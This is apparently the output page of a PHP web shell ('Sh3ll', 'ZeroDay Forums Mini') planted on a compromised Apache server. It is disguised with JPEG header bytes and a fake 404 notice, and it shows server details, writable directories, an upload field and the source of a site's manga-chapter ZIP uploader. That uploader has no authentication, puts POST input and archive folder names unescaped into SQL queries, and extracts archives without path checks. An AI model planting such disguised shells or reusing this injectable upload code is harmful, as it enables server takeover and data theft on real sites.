ÿØÿàJFIFÿÛ„ ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/oladi/include/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/oladi/include/multichap_zip_new.php
<?php
define('ROOT_PATH', '../');
require ROOT_PATH."include/configs.php";
require ROOT_PATH."include/const.php";
require ROOT_PATH."lib/class_info.php";
global $INFO;
$CORE		=	new info();
include ROOT_PATH.'lib/class_jsonwebtoken.php';
require ROOT_PATH."lib/class_functions.php";
$func   = new FUNC;
$CORE->input = $func->get_input();
require ROOT_PATH."lib/class_display.php";
$print = new display();
require ROOT_PATH."lib/class_db.php";
$DB = new db_driver;
$DB->connect($INFO);
require ROOT_PATH."include/functions/index.php";

//check option
$q_option = $DB->query("SELECT * FROM tb_options");
while ($r_option = $DB->fetch_row($q_option)){
    $arr_option[$r_option['option_name']] = $r_option['option_value'];
}

$ob_user =  new stdClass();
$ob_user->user_id=0;
$ob_user->fullname = $ob_user->user_name = $ob_user->guest_avatar = $ob_user->guest_level_name='';

$truyen_id = $_POST['id'] ?? 0;
$arr['status']=0;
$arr['message']='test';
if(isset($_FILES["zip_file"]["name"]) and $_FILES["zip_file"]["name"]!='') {
    $filename = $_FILES["zip_file"]["name"];
    $source = $_FILES["zip_file"]["tmp_name"];
    $type = $_FILES["zip_file"]["type"];
    $name = explode(".", $filename);
    $accepted_types = array('application/zip', 'application/x-zip-compressed', 'multipart/x-zip', 'application/x-compressed');
    foreach($accepted_types as $mime_type) {
        if($mime_type == $type) {
            $okay = true;
            break;
        }
    }
    $continue = strtolower($name[1]) == 'zip' ? true : false;
    if(!$continue) {
        $arr['status']=0;
        $arr['message']='The file you are trying to upload is not a .zip file. Please try again.';
        echo json_encode($arr);
        exit();
    }
    $filenoext = basename ($filename, '.zip');
    $filenoext = basename ($filenoext, '.ZIP');
    $tmp_folder_name = uniqid();
    $targetdir = 'upload/tmp/'.$tmp_folder_name;
    if(!is_dir($targetdir)){
        mkdir($targetdir,0755,true);
    }
    $targetzip = $targetdir.'/'.$filenoext.'.zip';
    /* here it is really happening */
    if(move_uploaded_file($source, $targetzip)) {
        //extrack zip
        $zip = new ZipArchive();
        if ($zip->open($targetzip) === true) {
            $zip->extractTo($targetdir);
            $zip->close();
        }
        unlink($targetzip);

        $arr_list_file = scanDirAndSubdir($targetdir);
        $flag = '';
        foreach($arr_list_file as $key=>$val){
            if(is_dir($val)){
                $folder[] =  basename($val);
            }
            if(is_file($val)){
                $arr_file = explode('/',$val);
                $arr_img_zip[$arr_file[count($arr_file)-2]][] = $arr_file[count($arr_file)-1];
            }
        }
        function cmp_folder($a,$b){
            $arr_img_name_a = explode(' ',$a);
            $arr_img_name_b = explode(' ',$b);
            if(is_numeric($arr_img_name_a[1])) {
                if ($arr_img_name_a[1] == $arr_img_name_b[1]) {
                    return 1;
                }
                return ($arr_img_name_a[1] > $arr_img_name_b[1]) ? 1 : -1;
            }
        }
        usort($folder, 'cmp_folder');
        function cmp($a, $b)
        {
            $arr_img_name_a = explode('.',$a);
            $arr_img_name_b = explode('.',$b);
            if(is_numeric($arr_img_name_a[0])) {
                if ($arr_img_name_a[0] == $arr_img_name_b[0]) {
                    return 1;
                }
                return ($arr_img_name_a[0] > $arr_img_name_b[0]) ? 1 : -1;
            }else{
                if(strpos($arr_img_name_a[0],'_')===false and strpos($arr_img_name_a[0],'(')===false){
                    if (intval($arr_img_name_a[0]) == intval($arr_img_name_b[0])) {
                        return 1;
                    }
                    return (intval($arr_img_name_a[0]) > intval($arr_img_name_b[0])) ? 1 : -1;
                }
                if(strpos($arr_img_name_a[0],'_')!==false){
                    $name_a = intval(str_replace('pic_','',$arr_img_name_a[0]));
                    $name_b = intval(str_replace('pic_','',$arr_img_name_b[0]));
                    if ($name_a == $name_b) {
                        return 1;
                    }
                    return ($name_a > $name_b) ? 1 : -1;
                }
                if(strpos($arr_img_name_a[0],'(')!==false){
                    preg_match('#\((.*?)\)#is',$arr_img_name_a[0],$match_a);
                    $name_a = intval($match_a[1]);
                    preg_match('#\((.*?)\)#is',$arr_img_name_b[0],$match_b);
                    $name_b = intval($match_b[1]);
                    if ($name_a == $name_b) {
                        return 1;
                    }
                    return ($name_a > $name_b) ? 1 : -1;
                }
            }

        }
        foreach($folder as $chap_name){

            //sort($arr_img_zip[$chap_name], SORT_NUMERIC);
            usort ( $arr_img_zip[$chap_name], 'cmp');

            //insert/update chap
            $row_chuong = $DB->fetch_row($DB->query("SELECT * FROM tb_chuong WHERE chuong_name='$chap_name' AND truyen_id='$truyen_id' LIMIT 1 "));
            $chuong_id = 0;
            if($row_chuong){
                $chuong_id = $row_chuong['chuong_id'];
            }
            if($chuong_id==0){//insert
                $row_chuong_count = $DB->fetch_row($DB->query("SELECT count(*) as total FROM tb_chuong WHERE truyen_id='$truyen_id'"));
                $chuong_pos = $row_chuong_count['total'] + 1;
                $arr_name_folder = explode(' ', $chap_name);
                if(isset($arr_name_folder[1]) and !empty($arr_name_folder[1])) {
                    $chuong_pos = floatval($arr_name_folder[1]);
                }
                $arr_insert = array('truyen_id'=>$truyen_id,'chuong_server'=>'','chuong_name'=>$chap_name,'chuong_fname'=>$func->format_string($chap_name),'chuong_pos'=>$chuong_pos,'chuong_number_img'=>0,'chuong_new'=>'','chuong_hit'=>0,'chuong_point'=>1,'time_post'=>date('Y-m-d H:i:s'),'user_post'=>$ob_user->user_id);
                $chuong_id = $DB->do_insert('tb_chuong',$arr_insert);
            }else{//update
                delete_img_chapter($chuong_id);
            }
            //upload img
            foreach ($arr_img_zip[$chap_name] as $img) {
                $arr_img_name_file = explode('.',$img);
                $img_local = $targetdir.'/'.$chap_name.'/'.$img;
                $info   = getimagesize($img_local);
                if($info['mime']!='image/webp') {

                    if($arr_option['use_watermark']==1) {
                        //watermark
                        $watermark = new Watermark($img_local);
                        $watermark->setWatermarkImage($arr_option['watermark']);
                        switch ($arr_option['watermark_pos']) {
                            case 'bottom_right':
                                $watermark->setType(Watermark::BOTTOM_RIGHT);
                                break;
                            case 'top_right':
                                $watermark->setType(Watermark::TOP_RIGHT);
                                break;
                            case 'center':
                                $watermark->setType(Watermark::CENTER);
                                break;
                            case 'top_left':
                                $watermark->setType(Watermark::TOP_LEFT);
                                break;
                            case 'bottom_left':
                                $watermark->setType(Watermark::BOTTOM_LEFT);
                                break;
                        }
                        $a = $watermark->saveAs($img_local);
                    }

                    //Create an image object.
                    $im = imagecreatefromjpeg($img_local);
                    $newImagePath = $targetdir.'/' . $arr_img_name_file[0] . '.webp';
                    $quality = 100;
                    imagewebp($im, $newImagePath, $quality);
                    imagedestroy($im);
                    unlink($img_local);
                    $arr_img[] = $newImagePath;
                    $i++;
                }else{
                    $newImagePath = $img_local.'.webp';
                    rename($img_local, $newImagePath);
                    $arr_img[] = $newImagePath;
                }
            }
            $arr_img_return = post_ftp($arr_img, $truyen_id, $chuong_id);
            if(!empty($arr_img_return)){
                foreach($arr_img_return as $key=>$val){
                    $arr_insert_img = array('truyen_id'=>$truyen_id,'chuong_id'=>$chuong_id,'domain'=>$val['domain'],'url_dir'=>$val['url_dir'],'file_name'=>$val['file_name'],'path_of_storage'=>$val['path_of_storage'],'chuong_img_pos'=>$key,'time_post'=>date('Y-m-d H:i:s'),'user_post'=>$ob_user->user_id);
                    $DB->do_insert('tb_chuong_img',$arr_insert_img);
                }
            }
            //update chuong
            $row_count_img = $DB->fetch_row($DB->query("SELECT count(*) as total FROM tb_chuong_img WHERE chuong_id='$chuong_id'"));
            $DB->query("UPDATE tb_chuong SET chuong_number_img='".$row_count_img['total']."' WHERE chuong_id='$chuong_id' ");
            //show chap uploaded
            ob_start();
            usleep(500000);
            $arr['status']=1;
            $arr['message']='<img src="https://cdnjs.cloudflare.com/ajax/libs/galleriffic/2.0.1/css/loader.gif"><br/>'.$chap_name . " with ".$row_count_img['total']." images updated!\n<br/>";
            echo json_encode($arr);
            doFlush();
        }
    } else {
        $arr['status']=0;
        $arr['message']='There was a problem with the upload. Please try again.';
        echo json_encode($arr);
        exit();
    }

    rrmdir($targetdir);
    //update follow
    $DB->query("UPDATE tb_follow SET already_read='' WHERE truyen_id='$truyen_id'");
    //update truyen
    $row_chuong = $DB->fetch_row($DB->query("SELECT count(*) as total FROM tb_chuong WHERE truyen_id='".$truyen_id."' "));
    $DB->query("UPDATE tb_truyen SET truyen_sochuong='".$row_chuong['total']."',time_update='".date('Y-m-d H:i:s')."',user_update='".$ob_user->user_id."' WHERE truyen_id='$truyen_id'");
    $q_chuong = $DB->query("SELECT * FROM tb_chuong WHERE truyen_id='".$truyen_id."' ORDER BY chuong_pos DESC LIMIT 2");
    $i=1;
    while($r_chuong = $DB->fetch_row($q_chuong)){
        if($i==1){
            $DB->query("UPDATE tb_truyen SET truyen_chuong_moinhat_id='".$r_chuong['chuong_id']."',truyen_chuong_moinhat_name='".$r_chuong['chuong_name']."',truyen_chuong_moinhat_fname='".$r_chuong['chuong_fname']."',truyen_chuong_moinhat_isnew='".$r_chuong['chuong_new']."' ,truyen_chuong_moinhat_time='".$r_chuong['time_post']."' WHERE truyen_id='".$truyen_id."' ");
        }
        if($i==2){
            if($r_chuong['chuong_id']>0){
                $DB->query("UPDATE tb_truyen SET truyen_chuong_moinhi_id='".$r_chuong['chuong_id']."',truyen_chuong_moinhi_name='".$r_chuong['chuong_name']."',truyen_chuong_moinhi_fname='".$r_chuong['chuong_fname']."',truyen_chuong_moinhi_isnew='".$r_chuong['chuong_new']."',truyen_chuong_moinhi_time='".$r_chuong['time_post']."' WHERE truyen_id='".$truyen_id."' ");
            }
        }
        $i++;
    }
    $arr['status']=1;
    $arr['message']='The file have been uploaded!';
    echo json_encode($arr);
    exit();
}
?>

ZeroDay Forums Mini